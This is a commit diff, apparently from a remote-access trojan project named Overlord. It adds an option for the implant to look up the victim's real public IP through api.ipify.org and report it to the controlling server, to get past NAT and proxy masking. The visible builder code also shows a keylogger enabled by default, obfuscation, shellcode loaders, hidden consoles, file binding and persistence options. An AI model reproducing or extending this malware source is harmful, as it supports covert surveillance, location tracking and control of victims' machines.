optional public IP fetching
This commit is contained in:
@@ -32,6 +32,7 @@ var DefaultAgentToken = ""
|
|||||||
var DefaultBuildTag = ""
|
var DefaultBuildTag = ""
|
||||||
var DefaultSleepSeconds = "0"
|
var DefaultSleepSeconds = "0"
|
||||||
var DefaultCriticalProcess = "false"
|
var DefaultCriticalProcess = "false"
|
||||||
|
var DefaultFetchPublicIP = "false"
|
||||||
|
|
||||||
const settingsFile = "config/settings.json"
|
const settingsFile = "config/settings.json"
|
||||||
const serverIndexFile = "config/server_index.json"
|
const serverIndexFile = "config/server_index.json"
|
||||||
@@ -72,6 +73,7 @@ type Config struct {
|
|||||||
AgentToken string
|
AgentToken string
|
||||||
BuildTag string
|
BuildTag string
|
||||||
SleepSeconds int
|
SleepSeconds int
|
||||||
|
FetchPublicIP bool
|
||||||
}
|
}
|
||||||
|
|
||||||
func Load() Config {
|
func Load() Config {
|
||||||
@@ -169,6 +171,11 @@ func Load() Config {
|
|||||||
|
|
||||||
criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true"
|
criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true"
|
||||||
|
|
||||||
|
fetchPublicIP := isTruthy(DefaultFetchPublicIP)
|
||||||
|
if v := strings.TrimSpace(os.Getenv("OVERLORD_FETCH_PUBLIC_IP")); v != "" {
|
||||||
|
fetchPublicIP = isTruthy(v)
|
||||||
|
}
|
||||||
|
|
||||||
tlsInsecureSkipVerify := true
|
tlsInsecureSkipVerify := true
|
||||||
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
|
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
|
||||||
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
|
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
|
||||||
@@ -215,6 +222,7 @@ func Load() Config {
|
|||||||
AgentToken: agentToken,
|
AgentToken: agentToken,
|
||||||
BuildTag: strings.TrimSpace(DefaultBuildTag),
|
BuildTag: strings.TrimSpace(DefaultBuildTag),
|
||||||
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
|
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
|
||||||
|
FetchPublicIP: fetchPublicIP,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,39 @@
|
|||||||
|
//go:build fetch_public_ip
|
||||||
|
|
||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func FetchPublicIPAddress() string {
|
||||||
|
client := &http.Client{Timeout: 5 * time.Second}
|
||||||
|
resp, err := client.Get("https://api.ipify.org?format=json")
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 256))
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var payload struct {
|
||||||
|
IP string `json:"ip"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(body, &payload); err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
ip := strings.TrimSpace(payload.IP)
|
||||||
|
if net.ParseIP(ip) == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return ip
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !fetch_public_ip
|
||||||
|
|
||||||
|
package config
|
||||||
|
|
||||||
|
func FetchPublicIPAddress() string { return "" }
|
||||||
@@ -653,6 +653,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
hello.Elevation = sysinfo.Elevation()
|
hello.Elevation = sysinfo.Elevation()
|
||||||
hello.Permissions = sysinfo.DarwinPermissions()
|
hello.Permissions = sysinfo.DarwinPermissions()
|
||||||
hello.HostArch = sysinfo.HostArch()
|
hello.HostArch = sysinfo.HostArch()
|
||||||
|
if cfg.FetchPublicIP {
|
||||||
|
hello.PublicIP = config.FetchPublicIPAddress()
|
||||||
|
}
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||||
return fmt.Errorf("send hello: %w", err)
|
return fmt.Errorf("send hello: %w", err)
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ type Hello struct {
|
|||||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||||
Elevation string `msgpack:"elevation,omitempty"`
|
Elevation string `msgpack:"elevation,omitempty"`
|
||||||
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
||||||
|
PublicIP string `msgpack:"publicIP,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type EnrollmentChallenge struct {
|
type EnrollmentChallenge struct {
|
||||||
|
|||||||
@@ -127,6 +127,7 @@ function collectFormSettings() {
|
|||||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||||
|
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
|
||||||
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
||||||
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
||||||
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
||||||
@@ -185,6 +186,7 @@ function applyFormSettings(settings) {
|
|||||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||||
|
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
|
||||||
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
||||||
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
||||||
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
||||||
@@ -1456,6 +1458,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
noPrinting,
|
noPrinting,
|
||||||
disableKeylogger: !enableKeylogger,
|
disableKeylogger: !enableKeylogger,
|
||||||
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
||||||
|
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
||||||
outputName: outputNameVal || undefined,
|
outputName: outputNameVal || undefined,
|
||||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||||
garbleTiny: obfuscate ? garbleTiny : undefined,
|
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||||
|
|||||||
@@ -449,6 +449,16 @@
|
|||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||||
|
<input type="checkbox" name="fetch-public-ip" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-globe text-amber-400"></i> Fetch Real Public IP
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Agent queries <code>api.ipify.org</code> at connect time and reports the result as its IP. Bypasses NAT/proxy detection on the server side. Generates one outbound HTTPS request to a third party.</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ export type Hello = {
|
|||||||
country?: string;
|
country?: string;
|
||||||
publicKey?: string;
|
publicKey?: string;
|
||||||
signature?: string;
|
signature?: string;
|
||||||
|
publicIP?: string;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type EnrollmentChallenge = {
|
export type EnrollmentChallenge = {
|
||||||
|
|||||||
@@ -113,6 +113,7 @@ type BuildProcessConfig = {
|
|||||||
solAddress?: string;
|
solAddress?: string;
|
||||||
solRpcEndpoints?: string;
|
solRpcEndpoints?: string;
|
||||||
iosBundleId?: string;
|
iosBundleId?: string;
|
||||||
|
fetchPublicIP?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
@@ -831,6 +832,12 @@ func runBoundFiles() {
|
|||||||
sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" });
|
sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (config.fetchPublicIP) {
|
||||||
|
const publicIPFlag = "-X overlord-client/cmd/agent/config.DefaultFetchPublicIP=true";
|
||||||
|
ldflags = ldflags ? `${ldflags} ${publicIPFlag}` : publicIPFlag;
|
||||||
|
sendToStream({ type: "output", text: "Public IP lookup enabled (api.ipify.org)\n", level: "info" });
|
||||||
|
}
|
||||||
|
|
||||||
if (config.hideConsole && os === "windows") {
|
if (config.hideConsole && os === "windows") {
|
||||||
const hideConsoleFlag = "-H=windowsgui";
|
const hideConsoleFlag = "-H=windowsgui";
|
||||||
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
|
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
|
||||||
@@ -926,6 +933,7 @@ func runBoundFiles() {
|
|||||||
if (hasBoundFiles) baseTags.push("hasbinder");
|
if (hasBoundFiles) baseTags.push("hasbinder");
|
||||||
if (isIosTarget) baseTags.push("ios_target");
|
if (isIosTarget) baseTags.push("ios_target");
|
||||||
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
|
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
|
||||||
|
if (config.fetchPublicIP) baseTags.push("fetch_public_ip");
|
||||||
|
|
||||||
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
|
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
|
||||||
const winPersistTags: string[] = [];
|
const winPersistTags: string[] = [];
|
||||||
|
|||||||
@@ -115,6 +115,7 @@ export async function handleBuildRoutes(
|
|||||||
useDonut,
|
useDonut,
|
||||||
useLinuxShellcode,
|
useLinuxShellcode,
|
||||||
shellcodeConsole,
|
shellcodeConsole,
|
||||||
|
fetchPublicIP,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||||
@@ -386,6 +387,7 @@ export async function handleBuildRoutes(
|
|||||||
useDonut: !!useDonut,
|
useDonut: !!useDonut,
|
||||||
useLinuxShellcode: !!useLinuxShellcode,
|
useLinuxShellcode: !!useLinuxShellcode,
|
||||||
shellcodeConsole: !!shellcodeConsole,
|
shellcodeConsole: !!shellcodeConsole,
|
||||||
|
fetchPublicIP: !!fetchPublicIP,
|
||||||
}).finally(() => {
|
}).finally(() => {
|
||||||
if (rateLimitActive) recordBuildEnd(user.userId);
|
if (rateLimitActive) recordBuildEnd(user.userId);
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -110,6 +110,10 @@ export async function handleHello(
|
|||||||
if (ip) {
|
if (ip) {
|
||||||
info.ip = ip;
|
info.ip = ip;
|
||||||
}
|
}
|
||||||
|
const reportedPublicIP = sanitizeInfoString((payload as any).publicIP, 64);
|
||||||
|
if (reportedPublicIP && /^[0-9a-fA-F:.]{3,45}$/.test(reportedPublicIP)) {
|
||||||
|
info.ip = reportedPublicIP;
|
||||||
|
}
|
||||||
info.hwid = sanitizeInfoString((payload as any).hwid);
|
info.hwid = sanitizeInfoString((payload as any).hwid);
|
||||||
info.host = sanitizeInfoString(payload.host);
|
info.host = sanitizeInfoString(payload.host);
|
||||||
info.os = sanitizeInfoString(payload.os);
|
info.os = sanitizeInfoString(payload.os);
|
||||||
@@ -139,7 +143,7 @@ export async function handleHello(
|
|||||||
info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu;
|
info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu;
|
||||||
info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram;
|
info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram;
|
||||||
const geoip = await getGeoip();
|
const geoip = await getGeoip();
|
||||||
const geo = ip ? geoip.lookup(ip) : undefined;
|
const geo = info.ip ? geoip.lookup(info.ip) : undefined;
|
||||||
const countryRaw =
|
const countryRaw =
|
||||||
geo?.country || (payload as any).country || info.country || "ZZ";
|
geo?.country || (payload as any).country || info.country || "ZZ";
|
||||||
const country = /^[A-Z]{2}$/i.test(countryRaw)
|
const country = /^[A-Z]{2}$/i.test(countryRaw)
|
||||||
|
|||||||
Reference in New Issue
Block a user